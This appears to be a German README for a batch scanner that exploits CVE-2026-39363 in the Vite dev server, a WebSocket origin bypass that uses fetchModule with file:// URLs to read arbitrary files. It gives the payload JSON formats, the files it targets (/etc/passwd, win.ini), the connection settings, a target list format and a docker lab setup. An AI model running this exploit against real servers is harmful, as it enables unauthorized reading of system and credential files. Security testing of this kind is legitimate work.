
Batch-Schwachstellenscanner für CVE-2026-39363 im Vite-Entwicklungsserver, der die Umgehung der WebSocket-Origin-Validierung ausnutzt, um über fetchModule mit dem file://-Protokoll beliebige Dateien zu lesen.
Haftungsausschluss: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungsforschung bestimmt. Benutzer müssen die lokalen Gesetze und Vorschriften einhalten. Das Scannen oder Angreifen fremder Systeme ohne Autorisierung ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch.
Der HMR-WebSocket des Vite-Entwicklungsservers (6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4) validiert den Origin-Header nicht. Angreifer können über das vite:invoke-Event fetchModule aufrufen und mit dem file://-Protokoll in Kombination mit dem ?raw-Parameter die server.fs.allow-Beschränkung umgehen, um beliebige Dateien auf dem Server zu lesen.
url.txt → http://host:port
↓ host + port parsen
↓
┌─ Schritt 1: ws://host:angegebener Port versuchen
│ ├─ WebSocket-Handshake erfolgreich + Exploit erfolgreich → Schwachstelle vorhanden
│ └─ Fehlgeschlagen → Wenn angegebener Port == 5173 → keine Schwachstelle
│
└─ Schritt 3: host:5173 untersuchen (nur wenn angegebener Port ≠ 5173)
├─ Port geschlossen → keine Schwachstelle
└─ Port offen → WebSocket-Handshake + Exploit auf 5173
├─ Erfolgreich → Schwachstelle vorhanden
└─ Fehlgeschlagen → keine Schwachstelle
pip install -r requirements.txt
Zum Aktivieren des Proxys die Kommentare in den Zeilen 26-27 des Skripts entfernen
# Zum Aktivieren des Proxys die folgenden zwei Zeilen auskommentieren und die korrekte Proxy-Adresse und den Port setzen
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"
Die Ziel-URLs in url.txt schreiben, eine pro Zeile:
http://192.168.1.100:5173
http://example.com
http://target.cn:8080
python cve_2026_39363.py
Terminal:
[*] Loaded 3 URL(s), scanning with 3 thread(s)...
http://192.168.1.100:5173 存在漏洞 (Linux)
http://example.com 存在漏洞 (Linux)
http://target.cn:8080 不存在漏洞
[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt
result.txt:
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)
Jede Zeile enthält den POC-Typ (
Linux/Windows), der die Merkmale der erfolgreich gelesenen Datei kennzeichnet.
| Zielsystem | Gelesene Datei | Merkmalsmarker |
|---|---|---|
| Linux | file:///etc/passwd?raw | root: |
| Windows | file:///C:/Windows/win.ini?raw | for 16-bit app support |
Zwei Payload-Formate werden unterstützt (der Reihe nach versucht):
{"id":"send:0","name":"fetchModule","data":[file_path]}{"fn":"fetchModule","args":[file_path]}| Parameter | Wert | Grund |
|---|---|---|
| Unterprotokoll | vite-hmr | Anforderung des Vite-HMR-WebSockets |
| Origin | Unterdrückt (suppress_origin=True) | Vite lehnt Nicht-Browser-Verbindungen mit Origin-Header ab |
# Starten
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1
# Scannen
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py
# Aufräumen
docker stop vite-vuln && docker rm vite-vuln
F: Alle Erkennungen geben "keine Schwachstelle" zurück?
--host oder server.host im Netzwerk exponiert istWebSocket nicht über server.ws: false deaktiviert istF: Ausgabe unter Windows zeigt Zeichensalat?
F: Die von PowerShell generierte url.txt kann nicht geparst werden?
utf-8-sig